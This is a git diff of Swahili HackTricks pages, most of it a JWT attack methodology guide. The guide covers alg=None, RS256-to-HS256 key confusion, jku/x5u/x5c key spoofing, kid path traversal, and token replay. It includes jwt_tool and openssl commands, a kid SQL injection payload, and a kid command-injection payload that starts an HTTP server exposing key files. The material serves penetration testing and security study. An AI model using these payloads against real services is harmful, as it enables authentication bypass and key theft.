* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -23,7 +23,7 @@ Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi
|
|||
**Sehemu ya chapisho hili inategemea chapisho kubwa:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Mwandishi wa zana kubwa ya pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Mafanikio ya Haraka**
|
||||
### **Mafanikio Haraka**
|
||||
|
||||
Chalisha [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) kwa mode `All Tests!` na subiri mistari ya kijani
|
||||
```bash
|
||||
|
@ -39,47 +39,47 @@ Kisha, unaweza kutafuta ombi katika proksi yako au kudump JWT iliyotumiwa kwa om
|
|||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Badilisha data bila kuhariri chochote
|
||||
### Kuhariri data bila kubadilisha kitu
|
||||
|
||||
Unaweza kubadilisha data bila kuhariri saini na kuangalia kama server inathibitisha saini. Jaribu kubadilisha jina lako kuwa "admin" kama mfano.
|
||||
Unaweza kuhariri data bila kubadilisha saini na kuangalia kama seva inakagua saini. Jaribu kubadilisha jina lako kuwa "admin" kama mfano.
|
||||
|
||||
#### **Je, token inathibitishwa?**
|
||||
#### **Je, token inakaguliwa?**
|
||||
|
||||
Ili kuthibitisha ikiwa saini ya JWT inathibitishwa:
|
||||
Kuwa na uhakika kama saini ya JWT inakaguliwa:
|
||||
|
||||
* Ujumbe wa hitilafu unaashiria uthibitisho unaendelea; maelezo nyeti katika makosa marefu yanapaswa kuchunguzwa.
|
||||
* Mabadiliko kwenye ukurasa uliorejeshwa pia inaashiria uthibitisho.
|
||||
* Hakuna mabadiliko inaashiria hakuna uthibitisho; hii ndio wakati wa kujaribu kuhariri madai ya mzigo.
|
||||
* Ujumbe wa hitilafu unapendekeza ukaguzi unaendelea; maelezo nyeti katika makosa marefu yanapaswa kuchunguzwa.
|
||||
* Mabadiliko kwenye ukurasa uliorejeshwa pia inaonyesha ukaguzi.
|
||||
* Hakuna mabadiliko yanapendekeza hakuna ukaguzi; hii ni wakati wa kujaribu kuhariri madai ya mzigo.
|
||||
|
||||
### Asili
|
||||
|
||||
Ni muhimu kujua ikiwa token uliundwa upande wa server au upande wa mteja kwa kuchunguza historia ya ombi la proksi.
|
||||
Ni muhimu kujua ikiwa token ilizalishwa upande wa seva au upande wa mteja kwa kuchunguza historia ya ombi la proksi.
|
||||
|
||||
* Vyeti vilivyoonekana kwanza kutoka upande wa mteja vinaweza kuashiria kwamba ufunguo unaweza kuwa umefichuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi.
|
||||
* Vyeti vinavyoanzia upande wa server vinaweza kuashiria mchakato salama.
|
||||
* Vitambulisho vinavyoonekana kwanza kutoka upande wa mteja vinapendekeza kuwa funguo inaweza kuwa imefunuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi.
|
||||
* Vitambulisho vinavyoanzia upande wa seva vinathibitisha mchakato salama.
|
||||
|
||||
### Muda
|
||||
|
||||
Angalia ikiwa token inadumu zaidi ya masaa 24... labda haitamalizika. Ikiwa kuna uwanja wa "exp", hakikisha server inashughulikia kwa usahihi.
|
||||
Angalia kama token inadumu zaidi ya masaa 24... labda haitamalizika. Ikiwa kuna uwanja wa "exp", hakikisha kuwa seva inashughulikia kwa usahihi.
|
||||
|
||||
### Kuvunja nguvu siri ya HMAC
|
||||
|
||||
[**Angalia ukurasa huu.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Badilisha algorithm kuwa None (CVE-2015-9235)
|
||||
### Badilisha algorithm kuwa None
|
||||
|
||||
Weka algorithm uliotumika kuwa "None" na ondoa sehemu ya saini.
|
||||
|
||||
Tumia kifaa cha Burp kinachoitwa "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na kwenye kichupo cha "JSON Web Token" unaweza kuhariri thamani za token. Unaweza pia kuchagua kuweka thamani ya uga wa "Alg" kuwa "None").
|
||||
|
||||
### Badilisha algorithm kutoka RS256(asymmetric) kwenda HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Badilisha algorithm RS256(asymmetric) kuwa HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Algorithm HS256 hutumia ufunguo wa siri kusaini na kuthibitisha kila ujumbe.\
|
||||
Algorithm RS256 hutumia ufunguo wa faragha kusaini ujumbe na hutumia ufunguo wa umma kwa uthibitisho.
|
||||
Algorithm HS256 hutumia funguo ya siri kusaini na kuthibitisha kila ujumbe.\
|
||||
Algorithm RS256 hutumia funguo ya kibinafsi kusaini ujumbe na kutumia funguo ya umma kwa uthibitisho.
|
||||
|
||||
Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma utatumia ufunguo wa umma kama ufunguo wa siri na kisha kutumia algorithm ya HS256 kuthibitisha saini.
|
||||
Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma hutumia funguo ya umma kama funguo la siri na kisha hutumia algorithm ya HS256 kuthibitisha saini.
|
||||
|
||||
Kisha, kwa kutumia ufunguo wa umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti inayotekeleza hii:
|
||||
Kisha, kwa kutumia funguo ya umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti ikitekeleza hii:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -88,53 +88,52 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
Mshambuliaji anaingiza funguo mpya katika kichwa cha token na seva hutumia funguo hii mpya kuthibitisha saini (CVE-2018-0114).
|
||||
|
||||
Hii inaweza kufanywa na kifaa cha "JSON Web Tokens" cha Burp.\
|
||||
(Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
|
||||
Hii inaweza kufanywa kwa kutumia kifaa cha "JSON Web Tokens" katika Burp. (Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
|
||||
|
||||
### JWKS Uigaji
|
||||
|
||||
Maagizo yanatoa mbinu ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) inayohitajika kwa uthibitisho wa token.
|
||||
Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) inayojumuisha funguo ya umma inayohitajika kwa uthibitisho wa token.
|
||||
|
||||
* **Kutathmini Tokens na Kichwa cha "jku"**:
|
||||
* Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS.
|
||||
* Badilisha thamani ya "jku" ya token kupeleka kwenye huduma ya wavuti iliyodhibitiwa, kuruhusu uchunguzi wa trafiki.
|
||||
* Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS.
|
||||
* Badilisha thamani ya "jku" ya token kuongoza kuelekea huduma ya wavuti inayodhibitiwa, kuruhusu uchunguzi wa trafiki.
|
||||
* **Kufuatilia Mwingiliano wa HTTP**:
|
||||
* Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kupata funguo kutoka kwenye kiungo uliyotoa.
|
||||
* Wakati wa kutumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio.
|
||||
* Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kupata funguo kutoka kwenye kiungo uliyotoa.
|
||||
* Wakati wa kutumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio.
|
||||
* **Amri kwa `jwt_tool`**:
|
||||
* Tekeleza amri ifuatayo kusimuliza hali na `jwt_tool`:
|
||||
* Tekeleza amri ifuatayo kusimuliza hali na `jwt_tool`:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HAPA -X s
|
||||
```
|
||||
|
||||
### Muhtasari wa Masuala ya Kid
|
||||
### Muhtasari wa Matatizo ya Kid
|
||||
|
||||
Dai la kichwa linaloweza kutumika linalojulikana kama `kid` hutumiwa kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo kuna funguo kadhaa kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kwa kuthibitisha saini ya token.
|
||||
|
||||
#### Kufichua Funguo kupitia "kid"
|
||||
|
||||
Wakati dai la `kid` linapokuwepo katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa `"kid":"key/12345"` imeelezwa, faili _/key/12345_ na _/key/12345.pem_ inapaswa kutafutwa katika mzizi wa wavuti.
|
||||
Wakati dai la `kid` linapoonekana katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa `"kid":"key/12345"` imeelezwa, faili _/key/12345_ na _/key/12345.pem_ inapaswa kutafutwa katika mzizi wa wavuti.
|
||||
|
||||
#### Kuvuka Njia na "kid"
|
||||
|
||||
Dai la `kid` linaweza pia kutumiwa kwa kusafiri kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganishaji au kutekeleza mashambulizi ya Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kuelekea faili au huduma maalum. Kuharibu JWT kubadilisha thamani ya `kid` wakati unahifadhi saini ya asili inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini:
|
||||
Dai la `kid` linaweza pia kutumiwa kufaidika kwa kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganishaji au kutekeleza mashambulizi ya Udukuzi wa Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kuwalenga faili au huduma maalum. Kuharibu JWT kwa kubadilisha thamani ya `kid` wakati unahifadhi saini ya awali inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT halali. Kwa mfano, faili ya `/proc/sys/kernel/randomize_va_space` katika mifumo ya Linux, inayojulikana kuwa na thamani **2**, inaweza kutumika katika parameter ya `kid` na **2** kama nenosiri la kisymmetri kwa ajili ya kuzalisha JWT.
|
||||
Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT halali. Kwa mfano, faili ya `/proc/sys/kernel/randomize_va_space` katika mifumo ya Linux, inayojulikana kuwa na thamani **2**, inaweza kutumika katika parameter ya `kid` na **2** kama nenosiri la kisymmetri kwa uundaji wa JWT.
|
||||
|
||||
#### SQL Injection kupitia "kid"
|
||||
|
||||
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa `kid`. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:
|
||||
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa `kid`. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kutia saini JWT ni:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, `ATTACKER`, kwa ajili ya kusaini JWT.
|
||||
Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, `ATTACKER`, kwa kutia saini JWT.
|
||||
|
||||
#### OS Injection kupitia "kid"
|
||||
|
||||
Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua funguo za siri. Mzigo wa mfano wa kufikia RCE na kufichua funguo ni:
|
||||
Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Utekelezaji wa Kanzi (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua funguo za siri. Mzigo wa mfano wa kufikia RCE na kufichua funguo ni:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -143,7 +142,7 @@ Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya mu
|
|||
#### jku
|
||||
|
||||
jku inasimama kwa **JWK Set URL**.\
|
||||
Ikiwa token hutumia dai la “**jku**” katika **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuashiria kwenye URL inayohifadhi faili ya JWKS inayoshikilia Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake.
|
||||
Ikiwa token hutumia dai la “**jku**” kwenye **Kichwa** basi **angalia URL iliyotolewa**. Hii inapaswa kuashiria kwenye URL inayojumuisha faili ya JWKS inayoshikilia Funguo ya Umma kwa kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake.
|
||||
|
||||
Kwanza unahitaji kuunda cheti kipya na funguo mpya za faragha na za umma.
|
||||
```bash
|
||||
|
@ -151,7 +150,7 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti cha jku halali unaweza kupakua kile cha awali na kubadilisha parameta zinazohitajika.
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti sahihi cha jku unaweza kupakua kile cha asili na kubadilisha parameta zinazohitajika.
|
||||
|
||||
Unaweza kupata parameta "e" na "n" kutoka kwa cheti cha umma kwa kutumia:
|
||||
```bash
|
||||
|
@ -164,11 +163,11 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa fomati ya PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vya baadaye kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.
|
||||
X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa fomu ya PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vya kufuatia kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.
|
||||
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote limepokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**.
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote linapokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**.
|
||||
|
||||
Ili kufanya alama mpya kwa kutumia cheti lililodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi:
|
||||
Ili kufanya nembo mpya kwa kutumia cheti linalodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
|
@ -177,7 +176,7 @@ Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na
|
|||
|
||||
![](<../.gitbook/assets/image (953).png>)
|
||||
|
||||
Unaweza pia kutumia udhaifu huu **kwa SSRFs**.
|
||||
Unaweza pia kutumia udhaifu huu wote **kwa SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -185,7 +184,7 @@ Parameter huu unaweza kuwa na **cheti katika base64**:
|
|||
|
||||
![](<../.gitbook/assets/image (1116).png>)
|
||||
|
||||
Ikiwa mshambuliaji **anaunda cheti cha kujisaini mwenyewe** na kuunda token bandia kwa kutumia funguo ya binafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti lililoundwa kwa mara ya kwanza na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na seva.
|
||||
Ikiwa mshambuliaji **anaunda cheti cha kujisaini mwenyewe** na kuunda token bandia kwa kutumia funguo ya binafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti kilichoundwa kwa mara ya kwanza na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na server.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -206,7 +205,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Inawezekana kuzalisha ufunguo mpya wa faragha / umma, kuingiza ufunguo wa umma mpya ndani ya token na kutumia kui kuzalisha saini mpya:
|
||||
Inawezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuweka ufunguo wa umma mpya ndani ya token na kutumia kui kuzalisha saini mpya:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -222,16 +221,16 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
### ES256: Kufunua ufunguo wa kibinafsi kwa kutumia nonce sawa
|
||||
### ES256: Kufunua ufunguo binafsi kwa kutumia nonce sawa
|
||||
|
||||
Ikiwa baadhi ya programu zinatumia ES256 na kutumia nonce sawa kuzalisha jwts mbili, ufunguo wa kibinafsi unaweza kurejeshwa.
|
||||
Ikiwa baadhi ya programu hutumia ES256 na hutumia nonce sawa kuzalisha jwts mbili, ufunguo binafsi unaweza kurejeshwa.
|
||||
|
||||
Hapa kuna mfano: [ECDSA: Kufunua ufunguo wa kibinafsi, ikiwa nonce sawa imetumika (na SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
Hapa kuna mfano: [ECDSA: Kufunua ufunguo binafsi, ikiwa nonce sawa hutumiwa (na SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutumika tena.\
|
||||
Hata hivyo, fikiria hali ambapo urefu wa maksimumu wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo, ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hili kwa **kutuma ombi mara nyingi** (ukihitaji kutuma maombi 10000 kati ya kila ombi la mafanikio).
|
||||
Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutorejeshwa.\
|
||||
Hata hivyo, fikiria hali ambapo urefu wa maksimumu wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho sawa. Kwa hivyo ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hii kwa **kurejelea ombi** (ukihitaji kutuma maombi 10000 kati ya kila kurejelea mafanikio).
|
||||
|
||||
### Madai Yaliyosajiliwa ya JWT
|
||||
|
||||
|
@ -241,23 +240,23 @@ Hata hivyo, fikiria hali ambapo urefu wa maksimumu wa kitambulisho ni 4 (0001-99
|
|||
|
||||
**Mashambulizi ya Kurejesha Kati ya Huduma**
|
||||
|
||||
Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT ya kuaminiwa kwa kuzalisha na kusimamia vibali vyao. Kuna visa ambapo kibali, kilichozalishwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejesha kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa.
|
||||
Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa kuzalisha na kusimamia vibali vyao. Kuna visa ambapo kibali, kilichozalishwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejelea kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa.
|
||||
|
||||
* Shida kubwa inaweza kuashiriwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba idhini ya majaribio zaidi inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kijivu kisheria.
|
||||
* Shida kubwa inaweza kuashiriwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba inaweza kuhitajika idhini kwa ajili ya majaribio zaidi ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kisheria.
|
||||
|
||||
**Uchunguzi wa Muda wa Vibali**
|
||||
|
||||
Muda wa kumalizika wa kibali unachunguzwa kwa kutumia madai ya "exp" Payload. Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kurejesha JWT ya mtumiaji mwingine inaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejesha JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa uchunguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na mipaka ya muda wa majaribio inaruhusu, kuhifadhi kibali na kurejesha baada ya muda wa kumalizika kumepita kunashauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na uchambuzi wa muda na uchunguzi wa kumalizika (muda katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt\_tool.
|
||||
Muda wa kumalizika wa kibali cha token huchunguzwa kwa kutumia madai ya "exp" Payload. Kwa kuwa JWTs mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kurejelea JWT ya mtumiaji mwingine inaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejelea ya JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa ukaguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na mipaka ya muda wa majaribio inaruhusu, kuhifadhi kibali na kurejelea baada ya muda wa kumalizika umepita kunashauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na kupasua muda na ukaguzi wa kumalizika (muda katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt\_tool.
|
||||
|
||||
* Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha kibali, kwani inaweza kuashiria kwamba kibali hakitaweza kumalizika.
|
||||
* Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha kibali, kwani inaweza kupendekeza kwamba kibali hakitaweza kumalizika.
|
||||
|
||||
### Zana
|
||||
### Vyombo
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
|
||||
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# Majukwaa ya Mtandaoni yenye API
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
@ -7,127 +9,131 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
